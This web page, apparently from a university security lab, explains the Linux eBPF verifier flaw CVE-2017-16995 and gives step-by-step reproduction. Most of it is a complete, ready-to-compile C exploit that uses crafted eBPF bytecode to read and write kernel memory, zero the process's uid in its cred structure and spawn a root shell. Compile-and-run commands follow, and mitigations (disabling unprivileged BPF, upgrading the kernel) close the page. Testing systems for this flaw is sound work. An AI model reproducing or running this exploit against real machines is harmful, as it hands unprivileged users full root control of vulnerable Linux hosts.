Get Root Privileges Using CVE-2017-16995

NOTE: PLEASE DO NOT USE IT TO ATTACK OTHER COMPUTERS.

CVE-2017-16995 has been fixed before. But it is broken again in many kernels of Debian and Ubuntu distributions, ranging from version 4.4 to 4.14.

It causes an arbitrary memory read/write access issue was found in the Linux kernel compiled with the eBPF bpf(2) system call (CONFIG_BPF_SYSCALL). The issue could occur due to calculation errors in the eBPF verifier module, triggered by user-supplied malicious BPF program. An unprivileged user could use this flaw to escalate their privileges on a system. Setting parameter "kernel.unprivileged_bpf_disabled=1" prevents such privilege escalation by restricting access to bpf(2) call.

Steps to Reproduce

Create a file named upstream44.c and paste following code to it.

/*
 * Ubuntu 16.04.4 kernel priv esc
 *
 * all credits to @bleidl
 * - vnik
 */

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog =  "\xb4\x09\x00\x00\xff\xff\xff\xff"
        "\x55\x09\x02\x00\xff\xff\xff\xff"
        "\xb7\x00\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x18\x19\x00\x00\x03\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\xbf\x91\x00\x00\x00\x00\x00\x00"
        "\xbf\xa2\x00\x00\x00\x00\x00\x00"
        "\x07\x02\x00\x00\xfc\xff\xff\xff"
        "\x62\x0a\xfc\xff\x00\x00\x00\x00"
        "\x85\x00\x00\x00\x01\x00\x00\x00"
        "\x55\x00\x01\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x79\x06\x00\x00\x00\x00\x00\x00"
        "\xbf\x91\x00\x00\x00\x00\x00\x00"
        "\xbf\xa2\x00\x00\x00\x00\x00\x00"
        "\x07\x02\x00\x00\xfc\xff\xff\xff"
        "\x62\x0a\xfc\xff\x01\x00\x00\x00"
        "\x85\x00\x00\x00\x01\x00\x00\x00"
        "\x55\x00\x01\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x79\x07\x00\x00\x00\x00\x00\x00"
        "\xbf\x91\x00\x00\x00\x00\x00\x00"
        "\xbf\xa2\x00\x00\x00\x00\x00\x00"
        "\x07\x02\x00\x00\xfc\xff\xff\xff"
        "\x62\x0a\xfc\xff\x02\x00\x00\x00"
        "\x85\x00\x00\x00\x01\x00\x00\x00"
        "\x55\x00\x01\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x79\x08\x00\x00\x00\x00\x00\x00"
        "\xbf\x02\x00\x00\x00\x00\x00\x00"
        "\xb7\x00\x00\x00\x00\x00\x00\x00"
        "\x55\x06\x03\x00\x00\x00\x00\x00"
        "\x79\x73\x00\x00\x00\x00\x00\x00"
        "\x7b\x32\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x55\x06\x02\x00\x01\x00\x00\x00"
        "\x7b\xa2\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x7b\x87\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
          const struct bpf_insn *insns, int prog_len,
          const char *license, int kern_version) {
    union bpf_attr attr = {
        .prog_type = prog_type,
        .insns = (__u64)insns,
        .insn_cnt = prog_len / sizeof(struct bpf_insn),
        .license = (__u64)license,
        .log_buf = (__u64)bpf_log_buf,
        .log_size = LOG_BUF_SIZE,
        .log_level = 1,
    };

    attr.kern_version = kern_version;

    bpf_log_buf[0] = 0;

    return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
           int max_entries) {
    union bpf_attr attr = {
        .map_type = map_type,
        .key_size = key_size,
        .value_size = value_size,
        .max_entries = max_entries
    };

    return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (__u64)&key,
        .value = (__u64)&value,
        .flags = 0,
    };

    return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (__u64)key,
        .value = (__u64)value,
    };

    return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
    fprintf(stderr, "error: %s\n", err);
    exit(-1);
}

static void prep(void) {
    mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
    if (mapfd < 0)
        __exit(strerror(errno));

    progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
            (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

    if (progfd < 0)
        __exit(strerror(errno));

    if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
        __exit(strerror(errno));

    if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
        __exit(strerror(errno));
}

static void writemsg(void) {
    char buffer[64];

    ssize_t n = write(sockets[0], buffer, sizeof(buffer));

    if (n < 0) {
        perror("write");
        return;
    }
    if (n != sizeof(buffer))
        fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
    bpf_update_elem(0, (a)); \
    bpf_update_elem(1, (b)); \
    bpf_update_elem(2, (c)); \
    writemsg();

static uint64_t get_value(int key) {
    uint64_t value;

    if (bpf_lookup_elem(&key, &value))
        __exit(strerror(errno));

    return value;
}

static uint64_t __get_fp(void) {
    __update_elem(1, 0, 0);

    return get_value(2);
}

static uint64_t __read(uint64_t addr) {
    __update_elem(0, addr, 0);

    return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
    __update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
    return addr & ~(0x4000 - 1);
}

static void pwn(void) {
    uint64_t fp, sp, task_struct, credptr, uidptr;

    fp = __get_fp();
    if (fp < PHYS_OFFSET)
        __exit("bogus fp");
    
    sp = get_sp(fp);
    if (sp < PHYS_OFFSET)
        __exit("bogus sp");
    
    task_struct = __read(sp);

    if (task_struct < PHYS_OFFSET)
        __exit("bogus task ptr");

    printf("task_struct = %lx\n", task_struct);

    credptr = __read(task_struct + CRED_OFFSET); // cred

    if (credptr < PHYS_OFFSET)
        __exit("bogus cred ptr");

    uidptr = credptr + UID_OFFSET; // uid
    if (uidptr < PHYS_OFFSET)
        __exit("bogus uid ptr");

    printf("uidptr = %lx\n", uidptr);
    __write(uidptr, 0); // set both uid and gid to 0

    if (getuid() == 0) {
        printf("spawning root shell\n");
        system("/bin/bash");
        exit(0);
    }

    __exit("not vulnerable?");
}

int main(int argc, char **argv) {
    prep();
    pwn();

    return 0;
}

Then, compile it and make it executable:

gcc upstream44.c -o upstream44
chmod +x upstream44
./upstream44

If you get following results, it turns out that your Linux is affected.

CVE-2017-16995

Solutions

Solution 1

You can simply fix this problem by modifying kernel parameters:

echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

Solution 2

Upgrade your Linux kernel to the latest version.

References

  • http://blog.51cto.com/chenxinjie/2093654
  • https://www.securityfocus.com/bid/102288
  • https://security-tracker.debian.org/tracker/CVE-2017-16995
Contact Us
  • Room 614, Zonghe Building, Harbin Institute of Technology
  • cshzxie [at] gmail.com